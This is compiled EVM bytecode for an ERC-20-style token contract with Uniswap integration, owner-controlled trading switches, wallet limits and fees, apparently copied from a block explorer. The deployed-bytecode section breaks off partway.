d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c33601f8362000bea565b915062000c408262000bfb565b602082019050919050565b6000602082019050818103600083015262000c668162000c24565b9050919050565b600062000c7a826200076e565b915062000c87836200076e565b925082820190508082111562000ca25762000ca162000778565b5b92915050565b62000cb3816200076e565b82525050565b600060208201905062000cd0600083018462000ca8565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000d0e60208362000bea565b915062000d1b8262000cd6565b602082019050919050565b6000602082019050818103600083015262000d418162000cff565b9050919050565b613c4b8062000d586000396000f3fe6080604052600436106102555760003560e01c80637571336a11610139578063c0246668116100b6578063dd8546521161007a578063dd85465214610892578063e2f45605146108bd578063f265c8ce146108e8578063f2fde38b146108ff578063f8b45b0514610928578063ffb54a99146109535761025c565b8063c0246668146107ab578063c8c8ebe4146107d4578063cf9522fd146107ff578063da140f521461082a578063dd62ed3e146108555761025c565b8063a457c2d7116100fd578063a457c2d7146106d5578063a599a5a414610712578063a9059cbb1461071c578063afa4f3b214610759578063b28805f4146107825761025c565b80637571336a146106025780638becccb61461062b5780638da5cb5b1461065657806395d89b41146106815780639a7a23d6146106ac5761025c565b80633ff52513116101d257806351cd7cc31161019657806351cd7cc314610516578063583e05681461052d5780635f7a7603146105585780636ddd17131461058357806370a08231146105ae578063715018a6146105eb5761025c565b80633ff5251314610441578063414a87861461046c57806349bd5a5e146104975780634ab0c04a146104c25780634fbee193146104d95761025c565b80631ef2b026116102195780631ef2b0261461034857806323b872dd14610371578063311028af146103ae578063313ce567146103d957806339509351146104045761025c565b806306fdde0314610261578063095ea7b31461028c578063109e53c6146102c957806318160ddd146102f45780631816467f1461031f5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061027661097e565b6040516102839190612bab565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612c66565b610a10565b6040516102c09190612cc1565b60405180910390f35b3480156102d557600080fd5b506102de610a33565b6040516102eb9190612ceb565b60405180910390f35b34801561030057600080fd5b50610309610a43565b6040516103169190612ceb565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612d06565b610a4d565b005b34801561035457600080fd5b5061036f600480360381019061036a9190612d71565b610b15565b005b34801561037d57600080fd5b5061039860048036038101906103939190612db1565b610b37565b6040516103a59190612cc1565b60405180910390f35b3480156103ba57600080fd5b506103c3610b66565b6040516103d09190612ceb565b60405180910390f35b3480156103e557600080fd5b506103ee610b6c565b6040516103fb9190612e20565b60405180910390f35b34801561041057600080fd5b5061042b60048036038101906104269190612c66565b610b75565b6040516104389190612cc1565b60405180910390f35b34801561044d57600080fd5b50610456610bac565b6040516104639190612ceb565b60405180910390f35b34801561047857600080fd5b50610481610bb2565b60405161048e9190612ceb565b60405180910390f35b3480156104a357600080fd5b506104ac610bb8565b6040516104b99190612e4a565b60405180910390f35b3480156104ce57600080fd5b506104d7610bde565b005b3480156104e557600080fd5b5061050060048036038101906104fb9190612d06565b610ccb565b60405161050d9190612cc1565b60405180910390f35b34801561052257600080fd5b5061052b610d21565b005b34801561053957600080fd5b50610542610db1565b60405161054f9190612ec4565b60405180910390f35b34801561056457600080fd5b5061056d610dd7565b60405161057a9190612e4a565b60405180910390f35b34801561058f57600080fd5b50610598610ddf565b6040516105a59190612cc1565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d09190612d06565b610df2565b6040516105e29190612ceb565b60405180910390f35b3480156105f757600080fd5b50610600610e3a565b005b34801561060e57600080fd5b5061062960048036038101906106249190612f0b565b610e4e565b005b34801561063757600080fd5b50610640610eb1565b60405161064d9190612e4a565b60405180910390f35b34801561066257600080fd5b5061066b610f4e565b6040516106789190612e4a565b60405180910390f35b34801561068d57600080fd5b50610696610f78565b6040516106a39190612bab565b60405180910390f35b3480156106b857600080fd5b506106d360048036038101906106ce9190612f0b565b61100a565b005b3480156106e157600080fd5b506106fc60048036038101906106f79190612c66565b6110b0565b6040516107099190612cc1565b60405180910390f35b61071a611127565b005b34801561072857600080fd5b50610743600480360381019061073e9190612c66565b611438565b6040516107509190612cc1565b60405180910390f35b34801561076557600080fd5b50610780600480360381019061077b9190612f4b565b61145b565b005b34801561078e57600080fd5b506107a960048036038101906107a49190612f4b565b611480565b005b3480156107b757600080fd5b506107d260048036038101906107cd9190612f0b565b611746565b005b3480156107e057600080fd5b506107e96117f7565b6040516107f69190612ceb565b60405180910390f35b34801561080b57600080fd5b506108146117fd565b6040516108219190612ceb565b60405180910390f35b34801561083657600080fd5b5061083f611803565b60405161084c9190612e4a565b60405180910390f35b34801561086157600080fd5b5061087c60048036038101906108779190612f78565b611810565b6040516108899190612ceb565b60405180910390f35b34801561089e57600080fd5b506108a7611897565b6040516108b49190612ceb565b60405180910390f35b3480156108c957600080fd5b506108d261189d565b6040516108df9190612ceb565b60405180910390f35b3480156108f457600080fd5b506108fd6118a3565b005b34801561090b57600080fd5b5061092660048036038101906109219190612d06565b6118c8565b005b34801561093457600080fd5b5061093d61194b565b60405161094a9190612ceb565b60405180910390f35b34801561095f57600080fd5b50610968611951565b6040516109759190612cc1565b60405180910390f35b60606003805461098d90612fe7565b80601f01602080910402602001604051908101604052809291908181526020018280546109b990612fe7565b8015610a065780601f106109db57610100808354040283529160200191610a06565b820191906000526020600020905b8154815290600101906020018083116109e957829003601f168201915b5050505050905090565b600080610a1b611964565b9050610a2881858561196c565b600191505092915050565b6000610a3e30610df2565b905090565b6000600254905090565b610a55611b35565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b33610b1f81610ccb565b610b2857600080fd5b610b328383611bb3565b505050565b600080610b42611964565b9050610b4f858285611cfa565b610b5a858585611d86565b60019150509392505050565b600a5481565b60006012905090565b600080610b80611964565b9050610ba1818585610b928589611810565b610b9c9190613047565b61196c565b600191505092915050565b60125481565b60115481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c18906130c7565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c62611964565b73ffffffffffffffffffffffffffffffffffffffff1614610c8257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cc8573d6000803e3d6000fd5b50565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d29611b35565b600e60009054906101000a900460ff1615610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090613133565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e42611b35565b610e4c60006126bf565b565b610e56611b35565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f459190613168565b90508091505090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f8790612fe7565b80601f0160208091040260200160405190810160405280929190818152602001828054610fb390612fe7565b80156110005780601f10610fd557610100808354040283529160200191611000565b820191906000526020600020905b815481529060010190602001808311610fe357829003601f168201915b5050505050905090565b611012611b35565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990613207565b60405180910390fd5b6110ac8282612785565b5050565b6000806110bb611964565b905060006110c98286611810565b90508381101561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613299565b60405180910390fd5b61111b828686840361196c565b60019250505092915050565b61112f611b35565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111b1600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610e4e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561121e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112429190613168565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ef9190613168565b6040518363ffffffff1660e01b815260040161130c9291906132b9565b6020604051808303816000875af115801561132b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134f9190613168565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113bc600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610e4e565b6113e9600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612785565b61143630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61196c565b565b600080611443611964565b9050611450818585611d86565b600191505092915050565b611463611b35565b670de0b6b3a76400008161147791906132e2565b600d8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114c1611964565b73ffffffffffffffffffffffffffffffffffffffff16146114e157600080fd5b6000600267ffffffffffffffff8111156114fe576114fd613324565b5b60405190808252806020026020018201604052801561152c5781602001602082028036833780820191505090505b509050308160008151811061154457611543613353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160f9190613168565b8160018151811061162357611622613353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168a30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461196c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161171095949392919061347b565b600060405180830381600087803b15801561172a57600080fd5b505af115801561173e573d6000803e3d6000fd5b505050505050565b61174e611b35565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516117eb9190612cc1565b60405180910390a25050565b600b5481565b60105481565b6000803090508091505090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6118ab611b35565b60006118b5610a43565b905080600b8190555080600c8190555050565b6118d0611b35565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690613547565b60405180910390fd5b611948816126bf565b50565b600c5481565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d2906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a419061366b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b289190612ceb565b60405180910390a3505050565b611b3d611964565b73ffffffffffffffffffffffffffffffffffffffff16611b5b610f4e565b73ffffffffffffffffffffffffffffffffffffffff1614611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906136d7565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1990613743565b60405180910390fd5b8060026000828254611c349190613047565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c899190613047565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cee9190612ceb565b60405180910390a35050565b6000611d068484611810565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611d805781811015611d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d69906137af565b60405180910390fd5b611d7f848484840361196c565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dec90613841565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5b906138d3565b60405180910390fd5b60008103611e7d57611e7883836000612826565b6126ba565b611e85610f4e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ef35750611ec3610f4e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f2c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f66575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7f5750600960149054906101000a900460ff16155b1561236257600e60009054906101000a900460ff1661207957601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120395750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206f9061393f565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561211c5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121c357600b54811115612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d906139d1565b60405180910390fd5b600c5461217283610df2565b8261217d9190613047565b11156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b590613a3d565b60405180910390fd5b612361565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122665750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122b557600b548111156122b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a790613acf565b60405180910390fd5b612360565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661235f57600c5461231283610df2565b8261231d9190613047565b111561235e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235590613a3d565b60405180910390fd5b5b5b5b5b600061236d30610df2565b90506000808211905080801561238f5750600e60019054906101000a900460ff165b80156123a85750600960149054906101000a900460ff16155b80156123fe5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124545750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124aa5750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124e6576001600960146101000a81548160ff0219169083151502179055506000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061259c5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125a657600090505b600081156126aa57601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156126455761263e601354612611601254612a9c565b61261b91906132e2565b61263060105488612ae590919063ffffffff16565b612afb90919063ffffffff16565b9050612686565b612683601354612656601154612a9c565b61266091906132e2565b612675600f5488612ae590919063ffffffff16565b612afb90919063ffffffff16565b90505b600081111561269b5761269a873083612826565b5b80856126a79190613aef565b94505b6126b5878787612826565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c90613841565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fb906138d3565b60405180910390fd5b61290f838383612b11565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298c90613b95565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a839190612ceb565b60405180910390a3612a96848484612b16565b50505050565b600080612aaa61dead610df2565b118015612ab75750600082115b612ac2576001612ade565b60646001601354612ad39190613aef565b612add9190613be4565b5b9050919050565b60008183612af391906132e2565b905092915050565b60008183612b099190613be4565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b55578082015181840152602081019050612b3a565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b7d82612b1b565b612b878185612b26565b9350612b97818560208601612b37565b612ba081612b61565b840191505092915050565b60006020820190508181036000830152612bc58184612b72565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bfd82612bd2565b9050919050565b612c0d81612bf2565b8114612c1857600080fd5b50565b600081359050612c2a81612c04565b92915050565b6000819050919050565b612c4381612c30565b8114612c4e57600080fd5b50565b600081359050612c6081612c3a565b92915050565b60008060408385031215612c7d57612c7c612bcd565b5b6000612c8b85828601612c1b565b9250506020612c9c85828601612c51565b9150509250929050565b60008115159050919050565b612cbb81612ca6565b82525050565b6000602082019050612cd66000830184612cb2565b92915050565b612ce581612c30565b82525050565b6000602082019050612d006000830184612cdc565b92915050565b600060208284031215612d1c57612d1b612bcd565b5b6000612d2a84828501612c1b565b91505092915050565b6000612d3e82612bf2565b9050919050565b612d4e81612d33565b8114612d5957600080fd5b50565b600081359050612d6b81612d45565b92915050565b60008060408385031215612d8857612d87612bcd565b5b6000612d9685828601612d5c565b9250506020612da785828601612c51565b9150509250929050565b600080600060608486031215612dca57612dc9612bcd565b5b6000612dd886828701612c1b565b9350506020612de986828701612c1b565b9250506040612dfa86828701612c51565b9150509250925092565b600060ff82169050919050565b612e1a81612e04565b82525050565b6000602082019050612e356000830184612e11565b92915050565b612e4481612bf2565b82525050565b6000602082019050612e5f6000830184612e3b565b92915050565b6000819050919050565b6000612e8a612e85612e8084612bd2565b612e65565b612bd2565b9050919050565b6000612e9c82612e6f565b9050919050565b6000612eae82612e91565b9050919050565b612ebe81612ea3565b82525050565b6000602082019050612ed96000830184612eb5565b92915050565b612ee881612ca6565b8114612ef357600080fd5b50565b600081359050612f0581612edf565b92915050565b60008060408385031215612f2257612f21612bcd565b5b6000612f3085828601612c1b565b9250506020612f4185828601612ef6565b9150509250929050565b600060208284031215612f6157612f60612bcd565b5b6000612f6f84828501612c51565b91505092915050565b60008060408385031215612f8f57612f8e612bcd565b5b6000612f9d85828601612c1b565b9250506020612fae85828601612c1b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612fff57607f821691505b60208210810361301257613011612fb8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061305282612c30565b915061305d83612c30565b925082820190508082111561307557613074613018565b5b92915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006130b1601683612b26565b91506130bc8261307b565b602082019050919050565b600060208201905081810360008301526130e0816130a4565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061311d601783612b26565b9150613128826130e7565b602082019050919050565b6000602082019050818103600083015261314c81613110565b9050919050565b60008151905061316281612c04565b92915050565b60006020828403121561317e5761317d612bcd565b5b600061318c84828501613153565b91505092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006131f1603983612b26565b91506131fc82613195565b604082019050919050565b60006020820190508181036000830152613220816131e4565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613283602583612b26565b915061328e82613227565b604082019050919050565b600060208201905081810360008301526132b281613276565b9050919050565b60006040820190506132ce6000830185612e3b565b6132db6020830184612e3b565b9392505050565b60006132ed82612c30565b91506132f883612c30565b925082820261330681612c30565b9150828204841483151761331d5761331c613018565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006133a76133a261339d84613382565b612e65565b612c30565b9050919050565b6133b78161338c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133f281612bf2565b82525050565b600061340483836133e9565b60208301905092915050565b6000602082019050919050565b6000613428826133bd565b61343281856133c8565b935061343d836133d9565b8060005b8381101561346e57815161345588826133f8565b975061346083613410565b925050600181019050613441565b5085935050505092915050565b600060a0820190506134906000830188612cdc565b61349d60208301876133ae565b81810360408301526134af818661341d565b90506134be6060830185612e3b565b6134cb6080830184612cdc565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613531602683612b26565b915061353c826134d5565b604082019050919050565b6000602082019050818103600083015261356081613524565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135c3602483612b26565b91506135ce82613567565b604082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613655602283612b26565b9150613660826135f9565b604082019050919050565b6000602082019050818103600083015261368481613648565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136c1602083612b26565b91506136cc8261368b565b602082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600061372d601f83612b26565b9150613738826136f7565b602082019050919050565b6000602082019050818103600083015261375c81613720565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613799601d83612b26565b91506137a482613763565b602082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061382b602583612b26565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138bd602383612b26565b91506138c882613861565b604082019050919050565b600060208201905081810360008301526138ec816138b0565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613929601683612b26565b9150613934826138f3565b602082019050919050565b600060208201905081810360008301526139588161391c565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006139bb603583612b26565b91506139c68261395f565b604082019050919050565b600060208201905081810360008301526139ea816139ae565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613a27601383612b26565b9150613a32826139f1565b602082019050919050565b60006020820190508181036000830152613a5681613a1a565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613ab9603683612b26565b9150613ac482613a5d565b604082019050919050565b60006020820190508181036000830152613ae881613aac565b9050919050565b6000613afa82612c30565b9150613b0583612c30565b9250828203905081811115613b1d57613b1c613018565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b7f602683612b26565b9150613b8a82613b23565b604082019050919050565b60006020820190508181036000830152613bae81613b72565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bef82612c30565b9150613bfa83612c30565b925082613c0a57613c09613bb5565b5b82820490509291505056fea26469706673582212209c981ebbd82445a15234a53cc4df26a91e0f797401f2429909e39a7f8cb3d5e764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102555760003560e01c80637571336a11610139578063c0246668116100b6578063dd8546521161007a578063dd85465214610892578063e2f45605146108bd578063f265c8ce146108e8578063f2fde38b146108ff578063f8b45b0514610928578063ffb54a99146109535761025c565b8063c0246668146107ab578063c8c8ebe4146107d4578063cf9522fd146107ff578063da140f521461082a578063dd62ed3e146108555761025c565b8063a457c2d7116100fd578063a457c2d7146106d5578063a599a5a414610712578063a9059cbb1461071c578063afa4f3b214610759578063b28805f4146107825761025c565b80637571336a146106025780638becccb61461062b5780638da5cb5b1461065657806395d89b41146106815780639a7a23d6146106ac5761025c565b80633ff52513116101d257806351cd7cc31161019657806351cd7cc314610516578063583e05681461052d5780635f7a7603146105585780636ddd17131461058357806370a08231146105ae578063715018a6146105eb5761025c565b80633ff5251314610441578063414a87861461046c57806349bd5a5e146104975780634ab0c04a146104c25780634fbee193146104d95761025c565b80631ef2b026116102195780631ef2b0261461034857806323b872dd14610371578063311028af146103ae578063313ce567146103d957806339509351146104045761025c565b806306fdde0314610261578063095ea7b31461028c578063109e53c6146102c957806318160ddd146102f45780631816467f1461031f5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061027661097e565b6040516102839190612bab565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612c66565b610a10565b6040516102c09190612cc1565b60405180910390f35b3480156102d557600080fd5b506102de610a33565b6040516102eb9190612ceb565b60405180910390f35b34801561030057600080fd5b5061030